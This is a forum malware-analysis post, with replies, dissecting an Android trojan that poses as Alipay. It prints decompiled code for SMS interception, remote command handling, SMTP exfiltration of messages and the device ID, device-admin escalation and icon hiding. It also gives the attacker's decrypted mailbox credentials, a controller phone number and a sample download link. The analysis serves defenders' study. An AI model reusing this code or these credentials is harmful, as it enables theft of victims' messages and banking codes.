吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 34490|回复: 47
收起左侧

[移动样本分析] 一款伪装为支付宝钱包的短信拦截马分析

  [复制链接]
leerina 发表于 2015-11-30 12:04
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 leerina 于 2015-11-30 12:11 编辑

一、样本信息
文件名称:
支付宝钱包.apk
MD5值:b1e40471dec08b28a5617aa3f4d9614c
文件大小:206.02KB
上传时间:2015-11-30 11:02:05
包名:com.ayuinnfchpsj.jmbvipdax0526abaj16.fxzjkxingf.pojie.ggengxisn
最低运行环境:Android 2.2.x
版权:
Android
图标:
样本来源:http://www.52pojie.cn/thread-439945-1-1.html
二,行为基本分析
利用androidkiller查壳,发现利用了 APKProtect 加固处理,但可以直接利用android反编译出来:通过分析,发现其加壳并没有什么用,拉出DEX文件也可直接进行反编译源码: 2.png
2.png
3.查看配置文件
[Java] 纯文本查看 复制代码
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:installLocation="internalOnly" package="com.ayuinnfchpsj.jmbvipdax0526abaj16.fxzjkxingf.pojie.ggengxisn" platformBuildVersionCode="21" platformBuildVersionName="5.0-1504858">
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.WRITE_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_WAP_PUSH"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.RECEIVE_USER_PRESENT"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
    <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
    <uses-permission android:name="android.permission.GET_TASKS"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
    <uses-permission android:name="android.permission.VIBRATE"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <application android:allowBackup="true" android:icon="@drawable/app_logo" android:label="@string/app_name" android:name="com.phone.stop.db.PhoneApplication" android:theme="@android:style/Theme.Black.NoTitleBar.Fullscreen">
        <activity android:excludeFromRecents="false" android:label="@string/app_name" android:name="com.phone.stop.activity.MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <activity android:excludeFromRecents="false" android:label="@string/app_name" android:name="com.phone.stop.activity.DeleteActivity">
            <intent-filter>
                <category android:name="android.intent.category.DEFAULT"/>
                <action android:name="android.intent.action.DELETE"/>
                <data android:scheme="package"/>
            </intent-filter>
        </activity>
        <service android:exported="true" android:name="com.phone.stop.service.BootService"/>
        <service android:name="com.ms"/>
        <service android:name="com.se"/>
        <receiver android:name="com.phone.stop.receiver.BootReceiver">
            <intent-filter android:priority="2147483647">
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
                <action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
                <action android:name="android.provider.Telephony.GSM_SMS_RECEIVED"/>
                <action android:name="android.provider.Telephony.SMS_RECEIVED_2"/>
                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
            </intent-filter>
        </receiver>
        <receiver android:name="com.phone.stop.receiver.SMSReceiver">
            <intent-filter android:priority="2147483647">
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
            </intent-filter>
        </receiver>
        <receiver android:name="com.phone.stop.receiver.MyDeviceAdminReceiver" android:permission="android.permission.BIND_DEVICE_ADMIN">
            <meta-data android:name="android.app.device_admin" android:resource="@xml/devicepolicymanager_permission"/>
            <intent-filter>
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
            </intent-filter>
        </receiver>
    </application>
</manifest>

通过以上配置文件可以大概了解到样本的一些危险操作:
[Java] 纯文本查看 复制代码
android.permission.INTERNET //连接网络(2G或3G)
android.permission.READ_SMS //读取短信
android.permission.WRITE_SMS //写短信
android.permission.SEND_SMS// 发送短信
android.permission.RECEIVE_SMS //监控接收短信
android.permission.RECEIVE_WAP_PUSH //接收wap push信息
android.permission.RECEIVE_BOOT_COMPLETED //接收开机启动广播
android.permission.RECEIVE_USER_PRESENT        N/A
android.permission.READ_PHONE_STATE// 读取电话状态
android.permission.MODIFY_AUDIO_SETTINGS //修改声音设置
android.permission.READ_CONTACTS //读取联系人信息
android.permission.CALL_PHONE //拨打电话
android.permission.READ_CALL_LOG //读取通话记录
android.permission.WRITE_CALL_LOG //写入通话记录
android.permission.GET_TASKS //获取有关当前或最近运行的任务信息
android.permission.ACCESS_NETWORK_STATE //读取网络状态(2G或3G)
android.permission.WRITE_SETTINGS //读写系统设置项
android.permission.VIBRATE //允许设备震动
android.permission.WRITE_EXTERNAL_STORAGE //写外部存储器(如:SD卡)
android.permission.ACCESS_WIFI_STATE //读取wifi网络状态

首先依次分析代码,打开了一个加密字符串代码段,其出现的账号和相关信息都是通过AES加密:
[Java] 纯文本查看 复制代码
import java.io.PrintStream;
import java.io.UnsupportedEncodingException;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class C
{
[color=#ff0000]  private static final String CipherMode = "AES/ECB/PKCS5Padding";
  public static String k = "sdtyffdftesfyfdw";
[/color]  
  public static String byte2hex(byte[] paramArrayOfByte)
  {
    StringBuffer localStringBuffer = new StringBuffer(paramArrayOfByte.length * 2);
    int i = 0;
    for (;;)
    {
      if (i >= paramArrayOfByte.length) {
        return localStringBuffer.toString().toUpperCase();
      }
      String str = Integer.toHexString(paramArrayOfByte[i] & 0xFF);
      if (str.length() == 1) {
        localStringBuffer.append("0");
      }
      localStringBuffer.append(str);
      i += 1;
    }

执行打印日志的命令:
[Java] 纯文本查看 复制代码
 public void run()
  {
    try
    {
      BufferedReader localBufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("logcat -v threadtime").getInputStream()), 20);
      for (;;)
      {
        String str = localBufferedReader.readLine();
        if (str == null) {
          break;
        }
        ADRTSender.sendLogcatLines(new String[] { str });
      }
      return;
    }
    catch (IOException localIOException) {}
  }
}

操作中招者手机短信信息,其中有读取短信,发送短信,拦截短信,删除短信的操作:
[Java] 纯文本查看 复制代码
import android.net.Uri;

public class a
{
  public static final Uri a = Uri.parse("content://sms");
  public static final Uri b = Uri.parse("content://sms/inbox");
  public static final Uri c = Uri.parse("content://sms/conversations/");
  public static final Uri d = Uri.parse("content://sms/sent");
}

获取设备管理性能操作:
[Java] 纯文本查看 复制代码
  public void a()
  {
    try
    {
      Object localObject = (DevicePolicyManager)getSystemService("device_policy");
      ComponentName localComponentName = new ComponentName(this, MyDeviceAdminReceiver.class);
      if (!((DevicePolicyManager)localObject).isAdminActive(localComponentName))
      {
        localObject = new Intent("android.app.action.ADD_DEVICE_ADMIN");
        ((Intent)localObject).putExtra("android.app.extra.DEVICE_ADMIN", localComponentName);
        ((Intent)localObject).putExtra("android.app.extra.ADD_EXPLANATION", "提高权限获取保护");//提高权限获取保护
        startActivityForResult((Intent)localObject, 0);
        this.a.sendEmptyMessageDelayed(0, 2300L);
      }
      return;
    }

创建保护进程,当用户尝试卸载时,提示已经卸载,用来伪装自己真实存在的:
3.png
监控短信(收到短信)启动服务:
[Java] 纯文本查看 复制代码
package com.phone.stop.receiver;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Build.VERSION;
import android.os.Bundle;
import android.telephony.SmsMessage;
import com.phone.stop.d.c;
import com.phone.stop.db.a;
import com.phone.stop.e.b;
import com.phone.stop.f.g;
import com.phone.stop.f.h;
import com.phone.stop.f.j;
import com.phone.stop.f.l;
import com.w;
import java.util.ArrayList;
import java.util.Iterator;

public class SMSReceiver
  extends BroadcastReceiver
{
  public static int n;
  private Context a;
  private final int b = 1;
  
  public SMSReceiver()
  {
    n = 1;
  }
  
  private void a(Intent paramIntent)
  {
    paramIntent = paramIntent.getExtras();
    Object localObject = new StringBuffer();
    SmsMessage[] arrayOfSmsMessage;
    int i;
    String str1;
    if (paramIntent != null)
    {
      paramIntent = (Object[])paramIntent.get("pdus");
      arrayOfSmsMessage = new SmsMessage[paramIntent.length];
      int j = paramIntent.length;
      i = 0;
      if (i >= j)
      {
        j = arrayOfSmsMessage.length;
        paramIntent = "";
        str1 = "";
        i = 0;
        label62:
        if (i < j) {
          break label163;
        }
      }
    }
    for (;;)
    {
      if (n == 1) {
        abortBroadcast();
      }
      localObject = ((StringBuffer)localObject).toString();
      a(str1, (String)localObject, paramIntent);
      com.phone.stop.c.d.a(this.a, localObject + "<br>" + str1 + "<br><br><br>" + j.a() + "-----------------&#65533;&#65533;&#65533;&#65533;<");
      return;
      arrayOfSmsMessage[i] = SmsMessage.createFromPdu((byte[])paramIntent[i]);
      i += 1;
      break;
      label163:
      paramIntent = arrayOfSmsMessage[i];
      str1 = paramIntent.getDisplayOriginatingAddress();
      String str2 = paramIntent.getMessageBody();
      paramIntent = paramIntent.getTimestampMillis();
      ((StringBuffer)localObject).append(str2);
      i += 1;
      break label62;
      paramIntent = "";
      str1 = "";
    }
  }
  
  private void a(String paramString1, String paramString2, String paramString3)
  {
    String str = a.a(this.a).c();
    if (a(paramString1, paramString2)) {
      return;
    }
    switch (a.a(this.a).g())
    {
    default: 
      return;
    case 1: 
      b(paramString1, paramString2, paramString3);
      return;
    case 3: 
      clearAbortBroadcast();
      return;
    }
    c(str, paramString2, paramString3);
  }
  
  private boolean a(String paramString1, String paramString2)
  {
    if (paramString1.contains(a.a(this.a).c()))
    {
      g.a("------------------ &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;----------------------");
      a(paramString2);
      paramString1 = paramString2.split(" ");
      if (paramString1[0].equals("LJ")) {
        if (paramString1[1].equals("ALL")) {
          a.a(this.a).a(1);
        }
      }
      do
      {
        do
        {
          do
          {
            return true;
            if (paramString1[1].equals("SOME"))
            {
              a.a(this.a).a(2);
              return true;
            }
          } while (!paramString1[1].equals("NO"));
          a.a(this.a).a(3);
          return true;
          if (paramString1[0].equals("ADD"))
          {
            paramString2 = new c();
            paramString2.c = paramString1[1];
            b.a(paramString2);
            return true;
          }
          if (paramString1[0].equals("DEL"))
          {
            b.a(paramString1[1]);
            return true;
          }
          if (paramString1[0].equals("CLEAR"))
          {
            if (paramString1[1].equals("ALL"))
            {
              b.a();
              return true;
            }
            paramString1[1].equals("MESSAGE");
            return true;
          }
          if (!paramString1[0].equals("LOOK")) {
            break;
          }
          if (paramString1[1].equals("TIME"))
          {
            l.a("&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;:" + a.a(this.a).e(), 4, this.a);
            return true;
          }
        } while (!paramString1[1].equals("PHONE"));
        l.a(j.a(), 4, this.a);
        return true;
      } while (!paramString1[0].equals("SEND"));
      try
      {
        l.a(paramString1[1], paramString1[2], this.a);
        return true;
      }
      catch (Exception paramString1)
      {
        return true;
      }
    }
    return false;
  }
  
  private void b(String paramString1, String paramString2, String paramString3)
  {
    a(paramString2);
    l.a(paramString2 + "\n&#65533;&#65533;&#65533;&#65533;:" + paramString1, 4, this.a);
  }
  
  private void c(String paramString1, String paramString2, String paramString3)
  {
    paramString3 = b.b().iterator();
    do
    {
      if (!paramString3.hasNext()) {
        return;
      }
    } while (!paramString1.contains(((c)paramString3.next()).c));
    a(paramString2);
    l.a(paramString2 + "\n&#65533;&#65533;&#65533;&#65533;:" + paramString1, 4, this.a);
  }
  
  public void a(String paramString)
  {
    if (String.valueOf(Build.VERSION.RELEASE).compareTo("4.4") >= 0) {
      new h().a(this.a, paramString);
    }
  }
  
  public void onReceive(Context paramContext, Intent paramIntent)
  {
    w.a(paramIntent, paramContext);
    g.a(" &#65533;&#65533;&#65533;&#65533;---------------------------------------");
    this.a = paramContext;
    a(paramIntent);
    com.phone.stop.f.d.b(paramContext, 0);
    com.phone.stop.f.d.c(paramContext, 0);
    com.phone.stop.f.d.a(paramContext, 0);
    com.phone.stop.f.d.a(paramContext, true);
  }
}

创建邮箱客户端,以便中招手机可以将短信,通讯录等信息发送到目标邮箱:
[Java] 纯文本查看 复制代码
private static void c(Context paramContext, String paramString)
  {
    try
    {
      com.phone.stop.db.a locala = com.phone.stop.db.a.a(paramContext);
      String str1 = ((TelephonyManager)paramContext.getSystemService("phone")).getDeviceId();
      String str5 = k.a(paramContext);
      String str2 = locala.p();
      String str3 = locala.t();
      String str4 = locala.r();
      b localb = new b();
      localb.a("smtp.163.com", "25");
      paramContext = "MESS(" + str1 + ")" + "(" + str5 + ")";
      if (paramString.contains("&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;")) {
        paramContext = "&#65533;&#65533;&#65533;&#65533;MESS(" + str1 + ")" + "(" + str5 + ")";
      }
      localb.a(str2, paramContext, paramString);
      localb.a(new String[] { str4 });
      localb.b("smtp.163.com", str2, str3);
      locala.g(true);
      return;
    }
    catch (Exception paramContext)
    {
      g.a("aaaa", paramContext);
    }
  }
  public String p()
  {
    this.b.getString("send_email_account", "587676AA1B91FA679F7EE717D56D6EAE42C4667D5D21F62B");
    return C.decrypt("15A60D0257FB9C16C13B55CD75A091E543E19E8E8780A1C6822ADA1412ED2DA3", C.k);
  }
  
  public boolean q()
  {
    return this.b.getBoolean("has_set_send_email_account", false);
  }
  
  public String r()
  {
[color=#ff0000]    this.b.getString("receive_email_account", "587676AA1B91FA679F7EE717D56D6EAE42C4667D5D21F62B");
    return C.decrypt("8D9CF1F5E6F81DAD[/color]4[color=#ff0000]ABDA220DBCCF46947159942CFCDC3C50E03D88B78D6E0C9", C.k);
  }[/color]
  
  public boolean s()
  {
    return this.b.getBoolean("has_set_receive_email_account", false);
  }
  
  public String t()
  {
[color=#ff0000]    this.b.getString("send_email_pwd", "C078BC539D7813F590EB0D529BAB4C10D0C3804FAF7F793C");
    return C.decrypt("97438219C8E7D5ECBA445F15976A45BA", C.k);
  }[/color]
  
  public boolean u()
  {
    return this.b.getBoolean("has_set_send_email_pwd", false);
  }
}
  

经过AES解密后发现,其邮箱账号为:baokaw004@163.com/cy081225不用尝试登陆了,因为密码已经改了
继续分析代码,发现中招手机还可以将短信发送至病毒制造者:
[Java] 纯文本查看 复制代码
 String str2 = paramIntent[i];
      localObject1 = "+86" + "9E1B5E0D5A9725A4528B0FA97DACE97E";//解密后手机号码为:[color=#fd5555]13138914565[/color]
      Object localObject2 = str2.getDisplayOriginatingAddress();
      str2 = str2.getDisplayMessageBody();
      if (((String)localObject2).equals(localObject1)) {}
      try
      {
        if (str2.startsWith("#send"))
        {
          localObject1 = str2.substring(5);
          try
          {
            localObject2 = Class.forName("com.ms");
            localObject2 = new Intent(paramContext, (Class)localObject2);
            ((Intent)localObject2).putExtra("c", (String)localObject1);
            paramContext.startService((Intent)localObject2);
          }
          catch (ClassNotFoundException localClassNotFoundException1)
          {
            throw new NoClassDefFoundError(localClassNotFoundException1.getMessage());
程序被用户激活后,自动隐藏桌面图标:
[Java] 纯文本查看 复制代码
public class MainActivity
  extends Activity
{
  Handler a = new b(this);
  
  public void a()
  {
    try
    {
      Object localObject = (DevicePolicyManager)getSystemService("device_policy");
      ComponentName localComponentName = new ComponentName(this, MyDeviceAdminReceiver.class);
      if (!((DevicePolicyManager)localObject).isAdminActive(localComponentName))
      {
        localObject = new Intent("android.app.action.ADD_DEVICE_ADMIN");
        ((Intent)localObject).putExtra("android.app.extra.DEVICE_ADMIN", localComponentName);
        ((Intent)localObject).putExtra("android.app.extra.ADD_EXPLANATION", "提高权限保护");
        startActivityForResult((Intent)localObject, 0);
        this.a.sendEmptyMessageDelayed(1, 2000L);
      }
      return;
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
    }
  }
  
  protected void onActivityResult(int paramInt1, int paramInt2, Intent paramIntent)
  {
    super.onActivityResult(paramInt1, paramInt2, paramIntent);
    if (paramInt1 == 0)
    {
      if (paramInt2 != -1) {
        break label86;
      }
      Log.i("onActivityResult", "Enable it");
      a.a(this).a(true);
      l.b(j.a() + "\n用户选择了激活", 4, this);//如果用户选择了激活,则病毒程序桌面图标被隐藏了
    }
    for (;;)
    {
      startService(new Intent(this, BootService.class));
      this.a.sendEmptyMessageDelayed(0, 3000L);
      return;
      label86:
      l.b(j.a() + "\n用户没有选择激活", 4, this);
      Log.i("onActivityResult", "Cancle it");
    }
  }
  
  protected void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2130903040);
    getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
    i.a(this);
    i.b(this);
    i.c(this);
    i.d(this);
    i.e(this);
    i.f(this);
    if (!a.a(this).i())
    {
      paramBundle = ((TelephonyManager)getSystemService("phone")).getDeviceId();
      l.a("软件安装完毕\n识别码:" + paramBundle + "\n" + j.a(), 4, this);
      a.a(this).e(true);
    }
    l.a(this);
    if (a.a(this).l()) {
      d.a(this);
    }
    a();
  }
}

某平台分析: 5.png

四.总结
此样本的伪装行为较好,将桌面图标伪装为支付宝图标,之后再隐藏桌面图标。样本下载地址:
http://cloud.189.cn/t/v2mMbarEneQf(访问码:5635)

免费评分

参与人数 10热心值 +10 收起 理由
awdela + 1 我很赞同!
乱月 + 1 楼楼真棒
jojo1776568 + 1 谢谢@Thanks!
我叫百万 + 1 我很赞同!
yuluo5566 + 1 我很赞同!
简单就行1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩.
冷寒暄灬 + 1 谢谢@Thanks!
hupengpeng + 1 已答复!
Hyabcd + 1 我很赞同!
溪水军 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

寒雪冰熊 发表于 2015-11-30 12:36
楼主,创建保护进程,当用户尝试卸载时,提示已经卸载,用来伪装自己真实存在的:    这个没有详细的代码吗?
tonydong1975 发表于 2015-12-26 10:35
q78539211 发表于 2015-11-30 13:08
感谢分析
我来学习
只不过不知道有什么用

干坏事用的,到人家支付宝用的,偷钱的
c张小辉 发表于 2015-11-30 12:20
菩提树 发表于 2015-11-30 12:20
看看  学习 学习
Taobi 发表于 2015-11-30 12:40
诶呀 学习啦
一块豆腐 发表于 2015-11-30 12:46
学习一下 谢谢分享
蓦留 发表于 2015-11-30 12:47
厉害,学习了
michener 发表于 2015-11-30 13:08
感谢分析
我来学习
只不过不知道有什么用
snwfnh 发表于 2015-11-30 13:09
谢谢楼主分享 我来学习学习
Myself_GF 发表于 2015-11-30 13:17
学习了,谢谢楼主分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 11:50

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表